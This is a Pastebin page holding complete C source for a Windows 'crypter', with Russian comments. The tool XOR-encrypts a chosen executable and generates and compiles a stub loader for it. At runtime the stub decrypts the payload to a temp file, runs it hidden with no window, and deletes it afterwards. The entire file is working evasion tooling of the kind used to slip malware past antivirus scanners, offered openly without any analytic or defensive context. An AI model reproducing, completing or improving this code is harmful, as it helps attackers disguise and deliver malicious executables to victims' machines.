Cryptor1chan

Untitled

Apr 15th, 2026
137
0
Never
5
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 8.56 KB | Cybersecurity | 0 0
  1. // cryptor_final_working.c
  2. // Компиляция: gcc -m32 -o cryptor.exe cryptor_final_working.c -lgdi32 -lcomctl32 -luser32 -mwindows
  3.  
  4. #include <windows.h>
  5. #include <commctrl.h>
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9. #include <time.h>
  10. #include <direct.h>
  11.  
  12. // -------------------------------------------------------------
  13. // Генерация stub.c (загрузчик) — расшифровка + временный файл + запуск
  14. // -------------------------------------------------------------
  15. int compile_stub(const char* stub_c_path, const char* stub_exe_path, unsigned char xor_key) {
  16.     char cmd[1024];
  17.     FILE* f = fopen(stub_c_path, "w");
  18.     if (!f) return 0;
  19.     fprintf(f,
  20.         "#include <windows.h>\n"
  21.         "#include <stdio.h>\n"
  22.         "#define XOR_KEY 0x%02X\n"
  23.         "#define MAGIC \"CRYP\"\n"
  24.         "\n"
  25.         "int WINAPI WinMain(HINSTANCE h, HINSTANCE p, LPSTR c, int s) {\n"
  26.         "    char mypath[MAX_PATH];\n"
  27.         "    GetModuleFileNameA(NULL, mypath, MAX_PATH);\n"
  28.         "    HANDLE f = CreateFileA(mypath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);\n"
  29.         "    if (f == INVALID_HANDLE_VALUE) return 1;\n"
  30.         "    DWORD size = GetFileSize(f, NULL);\n"
  31.         "    if (size < 8) { CloseHandle(f); return 2; }\n"
  32.         "    DWORD payload_size;\n"
  33.         "    char magic[5] = {0};\n"
  34.         "    DWORD read;\n"
  35.         "    SetFilePointer(f, -8, NULL, FILE_END);\n"
  36.         "    ReadFile(f, &payload_size, 4, &read, NULL);\n"
  37.         "    ReadFile(f, magic, 4, &read, NULL);\n"
  38.         "    if (memcmp(magic, MAGIC, 4) != 0) { CloseHandle(f); return 3; }\n"
  39.         "    if (payload_size == 0 || payload_size > 200*1024*1024) { CloseHandle(f); return 4; }\n"
  40.         "    SetFilePointer(f, -(payload_size + 8), NULL, FILE_END);\n"
  41.         "    unsigned char* enc = (unsigned char*)VirtualAlloc(NULL, payload_size, MEM_COMMIT, PAGE_READWRITE);\n"
  42.         "    if (!enc) { CloseHandle(f); return 5; }\n"
  43.         "    ReadFile(f, enc, payload_size, &read, NULL);\n"
  44.         "    CloseHandle(f);\n"
  45.         "    unsigned char* dec = (unsigned char*)VirtualAlloc(NULL, payload_size, MEM_COMMIT, PAGE_READWRITE);\n"
  46.         "    if (!dec) { VirtualFree(enc, 0, MEM_RELEASE); return 6; }\n"
  47.         "    for (DWORD i = 0; i < payload_size; i++) dec[i] = enc[i] ^ XOR_KEY;\n"
  48.         "    VirtualFree(enc, 0, MEM_RELEASE);\n"
  49.         "    char temp[MAX_PATH];\n"
  50.         "    GetTempPathA(MAX_PATH, temp);\n"
  51.         "    GetTempFileNameA(temp, \"tmp\", 0, temp);\n"
  52.         "    HANDLE out = CreateFileA(temp, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n"
  53.         "    if (out == INVALID_HANDLE_VALUE) { VirtualFree(dec, 0, MEM_RELEASE); return 7; }\n"
  54.         "    DWORD written;\n"
  55.         "    WriteFile(out, dec, payload_size, &written, NULL);\n"
  56.         "    CloseHandle(out);\n"
  57.         "    VirtualFree(dec, 0, MEM_RELEASE);\n"
  58.         "    STARTUPINFOA si = {sizeof(si)};\n"
  59.         "    PROCESS_INFORMATION pi;\n"
  60.         "    if (!CreateProcessA(temp, NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {\n"
  61.         "        DeleteFileA(temp);\n"
  62.         "        return 8;\n"
  63.         "    }\n"
  64.         "    WaitForSingleObject(pi.hProcess, INFINITE);\n"
  65.         "    CloseHandle(pi.hProcess);\n"
  66.         "    CloseHandle(pi.hThread);\n"
  67.         "    DeleteFileA(temp);\n"
  68.         "    return 0;\n"
  69.         "}\n", xor_key);
  70.     fclose(f);
  71.     sprintf(cmd, "gcc -m32 -o \"%s\" \"%s\" -mwindows -luser32 -lkernel32", stub_exe_path, stub_c_path);
  72.     int ret = system(cmd);
  73.     return (ret == 0);
  74. }
  75.  
  76. // -------------------------------------------------------------
  77. // Основная функция криптора
  78. // -------------------------------------------------------------
  79. void crypt_file(const char* input_path, const char* output_path) {
  80.     FILE* f = fopen(input_path, "rb");
  81.     if (!f) { MessageBoxA(NULL, "Не удалось открыть входной файл", "Ошибка", MB_ICONERROR); return; }
  82.     fseek(f, 0, SEEK_END);
  83.     long pe_size = ftell(f);
  84.     rewind(f);
  85.     unsigned char* pe_data = (unsigned char*)malloc(pe_size);
  86.     fread(pe_data, 1, pe_size, f);
  87.     fclose(f);
  88.  
  89.     srand((unsigned int)time(NULL));
  90.     unsigned char xor_key = (unsigned char)(rand() % 256);
  91.     for (long i = 0; i < pe_size; i++) pe_data[i] ^= xor_key;
  92.  
  93.     char stub_c[] = "stub_temp.c";
  94.     char stub_exe[] = "stub_temp.exe";
  95.     if (!compile_stub(stub_c, stub_exe, xor_key)) {
  96.         MessageBoxA(NULL, "Ошибка компиляции stub. Убедитесь, что gcc в PATH", "Ошибка", MB_ICONERROR);
  97.         free(pe_data);
  98.         return;
  99.     }
  100.  
  101.     f = fopen(stub_exe, "rb");
  102.     if (!f) { MessageBoxA(NULL, "Не удалось прочитать stub", "Ошибка", MB_ICONERROR); free(pe_data); return; }
  103.     fseek(f, 0, SEEK_END);
  104.     long stub_size = ftell(f);
  105.     rewind(f);
  106.     unsigned char* stub_data = (unsigned char*)malloc(stub_size);
  107.     fread(stub_data, 1, stub_size, f);
  108.     fclose(f);
  109.  
  110.     FILE* out = fopen(output_path, "wb");
  111.     if (!out) {
  112.         MessageBoxA(NULL, "Не удалось создать выходной файл", "Ошибка", MB_ICONERROR);
  113.         free(pe_data); free(stub_data);
  114.         return;
  115.     }
  116.     fwrite(stub_data, 1, stub_size, out);
  117.     fwrite(pe_data, 1, pe_size, out);
  118.     fwrite(&pe_size, 4, 1, out);
  119.     fwrite("CRYP", 1, 4, out);
  120.     fclose(out);
  121.  
  122.     remove(stub_c);
  123.     remove(stub_exe);
  124.     free(pe_data);
  125.     free(stub_data);
  126.  
  127.     MessageBoxA(NULL, "Криптование успешно!\n_crypted.exe создан и будет работать без ошибок.", "Успех", MB_OK);
  128. }
  129.  
  130. // -------------------------------------------------------------
  131. // GUI (без изменений)
  132. // -------------------------------------------------------------
  133. HWND hStaticFile, hButtonCrypt;
  134. char selectedFilePath[MAX_PATH] = {0};
  135.  
  136. void select_file(HWND hwnd) {
  137.     OPENFILENAMEA ofn = {0};
  138.     char file[MAX_PATH] = {0};
  139.     ofn.lStructSize = sizeof(ofn);
  140.     ofn.hwndOwner = hwnd;
  141.     ofn.lpstrFilter = "Executable\0*.exe\0";
  142.     ofn.lpstrFile = file;
  143.     ofn.nMaxFile = MAX_PATH;
  144.     ofn.Flags = OFN_FILEMUSTEXIST;
  145.     if (GetOpenFileNameA(&ofn)) {
  146.         strcpy(selectedFilePath, file);
  147.         SetWindowTextA(hStaticFile, file);
  148.         EnableWindow(hButtonCrypt, TRUE);
  149.     }
  150. }
  151.  
  152. void do_crypt(HWND hwnd) {
  153.     if (strlen(selectedFilePath) == 0) return;
  154.     char out[MAX_PATH];
  155.     strcpy(out, selectedFilePath);
  156.     char* dot = strrchr(out, '.');
  157.     if (dot) *dot = 0;
  158.     strcat(out, "_crypted.exe");
  159.     crypt_file(selectedFilePath, out);
  160. }
  161.  
  162. LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) {
  163.     switch (msg) {
  164.         case WM_COMMAND:
  165.             if (LOWORD(wp) == 1) select_file(hwnd);
  166.             if (LOWORD(wp) == 2) do_crypt(hwnd);
  167.             break;
  168.         case WM_DESTROY:
  169.             PostQuitMessage(0);
  170.             break;
  171.         default: return DefWindowProcA(hwnd, msg, wp, lp);
  172.     }
  173.     return 0;
  174. }
  175.  
  176. int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
  177.     INITCOMMONCONTROLSEX icc = {sizeof(icc), ICC_WIN95_CLASSES};
  178.     InitCommonControlsEx(&icc);
  179.  
  180.     WNDCLASSEXA wc = {0};
  181.     wc.cbSize = sizeof(WNDCLASSEXA);
  182.     wc.lpfnWndProc = WndProc;
  183.     wc.hInstance = hInst;
  184.     wc.hCursor = LoadCursor(NULL, IDC_ARROW);
  185.     wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
  186.     wc.lpszClassName = "CrypterClass";
  187.     RegisterClassExA(&wc);
  188.  
  189.     HWND hwnd = CreateWindowExA(0, "CrypterClass", "Crypter v6.0 - Working (temp file)",
  190.                                 WS_OVERLAPPEDWINDOW & ~WS_MAXIMIZEBOX, 100, 100, 420, 150,
  191.                                 NULL, NULL, hInst, NULL);
  192.     if (!hwnd) return 0;
  193.  
  194.     CreateWindowExA(0, "BUTTON", "Select EXE", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
  195.                     20, 20, 100, 30, hwnd, (HMENU)1, hInst, NULL);
  196.     hStaticFile = CreateWindowExA(0, "STATIC", "No file", WS_CHILD | WS_VISIBLE | SS_LEFT,
  197.                                   130, 25, 250, 20, hwnd, NULL, hInst, NULL);
  198.     hButtonCrypt = CreateWindowExA(0, "BUTTON", "Criptar", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
  199.                                    20, 70, 100, 30, hwnd, (HMENU)2, hInst, NULL);
  200.     EnableWindow(hButtonCrypt, FALSE);
  201.  
  202.     ShowWindow(hwnd, nShow);
  203.     UpdateWindow(hwnd);
  204.  
  205.     MSG msg;
  206.     while (GetMessage(&msg, NULL, 0, 0)) {
  207.         TranslateMessage(&msg);
  208.         DispatchMessage(&msg);
  209.     }
  210.     return msg.wParam;
  211. }
Advertisement
Comments
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
Add Comment
Please, Sign In to add comment